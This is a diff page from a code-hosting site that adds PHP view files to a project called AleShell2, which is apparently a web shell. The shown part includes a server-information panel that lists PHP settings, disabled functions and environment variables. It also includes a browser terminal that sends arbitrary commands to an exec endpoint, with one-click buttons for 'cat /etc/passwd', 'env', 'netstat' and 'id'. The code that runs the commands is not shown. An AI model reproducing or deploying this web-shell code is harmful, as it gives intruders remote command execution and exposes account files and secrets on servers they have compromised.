<th>Mount</th>
|
||||
<th>Total</th>
|
||||
<th>Used</th>
|
||||
<th>Free</th>
|
||||
<th>%</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<?php foreach (array_slice($disk, 0, 5) as $d): ?>
|
||||
<tr>
|
||||
<td style="max-width: 100px; overflow: hidden; text-overflow: ellipsis;"><?= htmlspecialchars($d['mount'] ?? $d['device'] ?? '-') ?></td>
|
||||
<td><?= htmlspecialchars($d['total'] ?? '-') ?></td>
|
||||
<td><?= htmlspecialchars($d['used'] ?? '-') ?></td>
|
||||
<td><?= htmlspecialchars($d['free'] ?? '-') ?></td>
|
||||
<td><?= htmlspecialchars($d['percent_used'] ?? '-') ?></td>
|
||||
</tr>
|
||||
<?php endforeach; ?>
|
||||
</tbody>
|
||||
</table>
|
||||
<?php else: ?>
|
||||
<p class="text-muted">No disk information available</p>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- PHP Tab -->
|
||||
<div id="tab-php" class="tab-content hidden">
|
||||
<div class="grid grid-2">
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🐘 PHP Configuration</h3>
|
||||
<a href="?module=system&action=phpinfo" target="_blank" class="btn btn-sm btn-secondary">Full phpinfo()</a>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<table class="table">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td class="text-muted">Version</td>
|
||||
<td><?= htmlspecialchars($php['version'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">SAPI</td>
|
||||
<td><?= htmlspecialchars($php['sapi'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">INI Path</td>
|
||||
<td class="text-mono" style="font-size: 12px;"><?= htmlspecialchars($php['ini_path'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Extension Dir</td>
|
||||
<td class="text-mono" style="font-size: 12px;"><?= htmlspecialchars($php['extension_dir'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Zend Version</td>
|
||||
<td><?= htmlspecialchars($php['zend_version'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">⚙️ PHP Settings</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<table class="table">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td class="text-muted">Memory Limit</td>
|
||||
<td><?= htmlspecialchars($php['memory_limit'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Max Execution Time</td>
|
||||
<td><?= htmlspecialchars($php['max_execution_time'] ?? 'Unknown') ?>s</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Max Input Time</td>
|
||||
<td><?= htmlspecialchars($php['max_input_time'] ?? 'Unknown') ?>s</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Post Max Size</td>
|
||||
<td><?= htmlspecialchars($php['post_max_size'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Upload Max Size</td>
|
||||
<td><?= htmlspecialchars($php['upload_max_filesize'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Max File Uploads</td>
|
||||
<td><?= htmlspecialchars($php['max_file_uploads'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Display Errors</td>
|
||||
<td><?= $php['display_errors'] ? '<span class="badge badge-warning">On</span>' : '<span class="badge badge-success">Off</span>' ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Allow URL Fopen</td>
|
||||
<td><?= $php['allow_url_fopen'] === 'on' ? '<span class="badge badge-warning">On</span>' : '<span class="badge badge-success">Off</span>' ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Allow URL Include</td>
|
||||
<td><?= $php['allow_url_include'] === 'on' ? '<span class="badge badge-danger">On</span>' : '<span class="badge badge-success">Off</span>' ?></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card mt-3">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🚫 Disabled Functions</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<?php
|
||||
$disabled = $php['disabled_functions'] ?? 'none';
|
||||
if ($disabled && $disabled !== 'none'):
|
||||
$functions = explode(',', $disabled);
|
||||
?>
|
||||
<div class="flex gap-1" style="flex-wrap: wrap;">
|
||||
<?php foreach ($functions as $func): ?>
|
||||
<span class="badge badge-danger"><?= htmlspecialchars(trim($func)) ?></span>
|
||||
<?php endforeach; ?>
|
||||
</div>
|
||||
<?php else: ?>
|
||||
<p class="text-success">No functions disabled</p>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Extensions Tab -->
|
||||
<div id="tab-extensions" class="tab-content hidden">
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">📦 Loaded Extensions</h3>
|
||||
<span class="text-muted" id="extension-count"></span>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<div id="extensions-list" class="flex gap-1" style="flex-wrap: wrap;">
|
||||
<div class="loading"><div class="spinner"></div>Loading extensions...</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Environment Tab -->
|
||||
<div id="tab-environment" class="tab-content hidden">
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🌍 Environment Variables</h3>
|
||||
<input type="text" id="env-filter" class="form-input" placeholder="Filter..." style="width: 200px;" onkeyup="filterEnv(this.value)">
|
||||
</div>
|
||||
<div class="card-body" style="padding: 0; max-height: 600px; overflow-y: auto;">
|
||||
<table class="table table-mono" id="env-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="width: 250px;">Variable</th>
|
||||
<th>Value</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="env-list">
|
||||
<tr><td colspan="2" class="text-center"><div class="loading"><div class="spinner"></div></div></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// Tab switching
|
||||
function switchTab(tabName) {
|
||||
document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
|
||||
document.querySelectorAll('.tab-content').forEach(c => c.classList.add('hidden'));
|
||||
|
||||
document.querySelector(`[data-tab="${tabName}"]`).classList.add('active');
|
||||
document.getElementById(`tab-${tabName}`).classList.remove('hidden');
|
||||
|
||||
if (tabName === 'extensions') {
|
||||
loadExtensions();
|
||||
} else if (tabName === 'environment') {
|
||||
loadEnvironment();
|
||||
}
|
||||
}
|
||||
|
||||
// Load extensions
|
||||
async function loadExtensions() {
|
||||
const container = document.getElementById('extensions-list');
|
||||
|
||||
try {
|
||||
const response = await api('?module=system&action=extensions');
|
||||
|
||||
if (response.success) {
|
||||
const extensions = response.data.extensions;
|
||||
const count = Object.keys(extensions).length;
|
||||
document.getElementById('extension-count').textContent = `${count} extensions loaded`;
|
||||
|
||||
let html = '';
|
||||
for (const [name, version] of Object.entries(extensions)) {
|
||||
html += `<span class="badge badge-info" title="Version: ${escapeHtml(version)}">${escapeHtml(name)}</span>`;
|
||||
}
|
||||
container.innerHTML = html;
|
||||
} else {
|
||||
container.innerHTML = `<span class="text-danger">${escapeHtml(response.error)}</span>`;
|
||||
}
|
||||
} catch (error) {
|
||||
container.innerHTML = '<span class="text-danger">Failed to load extensions</span>';
|
||||
}
|
||||
}
|
||||
|
||||
// Load environment
|
||||
async function loadEnvironment() {
|
||||
const tbody = document.getElementById('env-list');
|
||||
|
||||
try {
|
||||
const response = await api('?module=system&action=environment');
|
||||
|
||||
if (response.success) {
|
||||
const env = response.data.environment;
|
||||
|
||||
let html = '';
|
||||
for (const [key, value] of Object.entries(env)) {
|
||||
html += `
|
||||
<tr data-key="${escapeHtml(key.toLowerCase())}">
|
||||
<td class="text-muted">${escapeHtml(key)}</td>
|
||||
<td style="word-break: break-all;">${escapeHtml(String(value))}</td>
|
||||
</tr>
|
||||
`;
|
||||
}
|
||||
tbody.innerHTML = html;
|
||||
} else {
|
||||
tbody.innerHTML = `<tr><td colspan="2" class="text-danger">${escapeHtml(response.error)}</td></tr>`;
|
||||
}
|
||||
} catch (error) {
|
||||
tbody.innerHTML = '<tr><td colspan="2" class="text-danger">Failed to load environment</td></tr>';
|
||||
}
|
||||
}
|
||||
|
||||
// Filter environment
|
||||
function filterEnv(query) {
|
||||
query = query.toLowerCase();
|
||||
document.querySelectorAll('#env-list tr').forEach(row => {
|
||||
const key = row.dataset.key || '';
|
||||
row.style.display = key.includes(query) ? '' : 'none';
|
||||
});
|
||||
}
|
||||
</script>
|
||||
189
src/Views/modules/terminal.php
Archivo normal
189
src/Views/modules/terminal.php
Archivo normal
@@ -0,0 +1,189 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Terminal View
|
||||
*
|
||||
* @var array $data View data
|
||||
*/
|
||||
|
||||
$currentDir = $data['currentDir'] ?? getcwd();
|
||||
?>
|
||||
|
||||
<div class="card">
|
||||
<div class="terminal">
|
||||
<div class="terminal-header">
|
||||
<span class="terminal-dot red"></span>
|
||||
<span class="terminal-dot yellow"></span>
|
||||
<span class="terminal-dot green"></span>
|
||||
<span style="margin-left: 12px; color: var(--text-muted); font-size: 12px;">
|
||||
Terminal - <?= htmlspecialchars(gethostname() ?: 'shell') ?>
|
||||
</span>
|
||||
</div>
|
||||
<div class="terminal-body" id="terminal-output">
|
||||
<div class="terminal-output">
|
||||
Welcome to AleShell2 Terminal
|
||||
PHP <?= PHP_VERSION ?> | <?= PHP_OS ?>
|
||||
Current directory: <?= htmlspecialchars($currentDir) ?>
|
||||
|
||||
Type 'help' for available commands.
|
||||
</div>
|
||||
</div>
|
||||
<div style="padding: 12px 16px; background: var(--bg-tertiary); border-top: 1px solid var(--border-color);">
|
||||
<div class="terminal-prompt">
|
||||
<span class="terminal-prompt-text" id="prompt"><?= htmlspecialchars(get_current_user()) ?>@<?= htmlspecialchars(gethostname() ?: 'shell') ?>:~$</span>
|
||||
<input type="text" class="terminal-input" id="command-input" autocomplete="off" autofocus>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card mt-3">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">⌨️ Quick Commands</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<div class="flex gap-1" style="flex-wrap: wrap;">
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('pwd')">pwd</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('ls -la')">ls -la</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('whoami')">whoami</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('id')">id</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('uname -a')">uname -a</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('cat /etc/passwd')">passwd</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('netstat -tuln')">netstat</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('ps aux')">ps aux</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('df -h')">df -h</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('free -m')">free -m</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('env')">env</button>
|
||||
<button class="btn btn-sm btn-secondary" onclick="runQuickCommand('cat /etc/os-release')">os-release</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
let commandHistory = [];
|
||||
let historyIndex = -1;
|
||||
let currentDir = '<?= addslashes($currentDir) ?>';
|
||||
|
||||
const output = document.getElementById('terminal-output');
|
||||
const input = document.getElementById('command-input');
|
||||
const promptEl = document.getElementById('prompt');
|
||||
|
||||
// Focus input on click
|
||||
output.addEventListener('click', () => input.focus());
|
||||
|
||||
// Handle input
|
||||
input.addEventListener('keydown', async (e) => {
|
||||
if (e.key === 'Enter') {
|
||||
const command = input.value.trim();
|
||||
if (command) {
|
||||
commandHistory.push(command);
|
||||
historyIndex = commandHistory.length;
|
||||
await executeCommand(command);
|
||||
}
|
||||
input.value = '';
|
||||
}
|
||||
|
||||
// History navigation
|
||||
if (e.key === 'ArrowUp') {
|
||||
e.preventDefault();
|
||||
if (historyIndex > 0) {
|
||||
historyIndex--;
|
||||
input.value = commandHistory[historyIndex];
|
||||
}
|
||||
}
|
||||
if (e.key === 'ArrowDown') {
|
||||
e.preventDefault();
|
||||
if (historyIndex < commandHistory.length - 1) {
|
||||
historyIndex++;
|
||||
input.value = commandHistory[historyIndex];
|
||||
} else {
|
||||
historyIndex = commandHistory.length;
|
||||
input.value = '';
|
||||
}
|
||||
}
|
||||
|
||||
// Clear screen
|
||||
if (e.key === 'l' && e.ctrlKey) {
|
||||
e.preventDefault();
|
||||
clearScreen();
|
||||
}
|
||||
|
||||
// Cancel
|
||||
if (e.key === 'c' && e.ctrlKey) {
|
||||
e.preventDefault();
|
||||
appendOutput('^C\n');
|
||||
}
|
||||
});
|
||||
|
||||
// Execute command
|
||||
async function executeCommand(command) {
|
||||
appendOutput(`\n${promptEl.textContent} ${escapeHtml(command)}\n`);
|
||||
|
||||
try {
|
||||
const response = await api('?module=terminal&action=exec', 'POST', {
|
||||
command: command,
|
||||
cwd: currentDir
|
||||
});
|
||||
|
||||
if (response.success) {
|
||||
if (response.data.output) {
|
||||
appendOutput(response.data.output);
|
||||
}
|
||||
if (response.data.cwd !== currentDir) {
|
||||
currentDir = response.data.cwd;
|
||||
updatePrompt();
|
||||
}
|
||||
} else {
|
||||
appendOutput(`Error: ${response.error}\n`, 'danger');
|
||||
}
|
||||
} catch (error) {
|
||||
appendOutput(`Error: ${error.message}\n`, 'danger');
|
||||
}
|
||||
|
||||
scrollToBottom();
|
||||
}
|
||||
|
||||
// Run quick command
|
||||
function runQuickCommand(command) {
|
||||
input.value = command;
|
||||
input.focus();
|
||||
const event = new KeyboardEvent('keydown', { key: 'Enter' });
|
||||
input.dispatchEvent(event);
|
||||
}
|
||||
|
||||
// Append output to terminal
|
||||
function appendOutput(text, type = '') {
|
||||
const outputEl = output.querySelector('.terminal-output');
|
||||
|
||||
if (type === 'danger') {
|
||||
outputEl.innerHTML += `<span class="text-danger">${escapeHtml(text)}</span>`;
|
||||
} else {
|
||||
outputEl.innerHTML += escapeHtml(text);
|
||||
}
|
||||
}
|
||||
|
||||
// Clear screen
|
||||
function clearScreen() {
|
||||
const outputEl = output.querySelector('.terminal-output');
|
||||
outputEl.innerHTML = '';
|
||||
}
|
||||
|
||||
// Scroll to bottom
|
||||
function scrollToBottom() {
|
||||
output.scrollTop = output.scrollHeight;
|
||||
}
|
||||
|
||||
// Update prompt
|
||||
function updatePrompt() {
|
||||
const user = '<?= addslashes(get_current_user()) ?>';
|
||||
const host = '<?= addslashes(gethostname() ?: "shell") ?>';
|
||||
const shortDir = currentDir.replace(/^\/home\/[^\/]+/, '~');
|
||||
promptEl.textContent = `${user}@${host}:${shortDir}$`;
|
||||
}
|
||||
|
||||
// Escape HTML
|
||||
function escapeHtml(text) {
|
||||
const div = document.createElement('div');
|
||||
div.textContent = text;
|
||||
return div.innerHTML;
|
||||
}
|
||||
</script>
|
||||
Referencia en una nueva incidencia
Block a user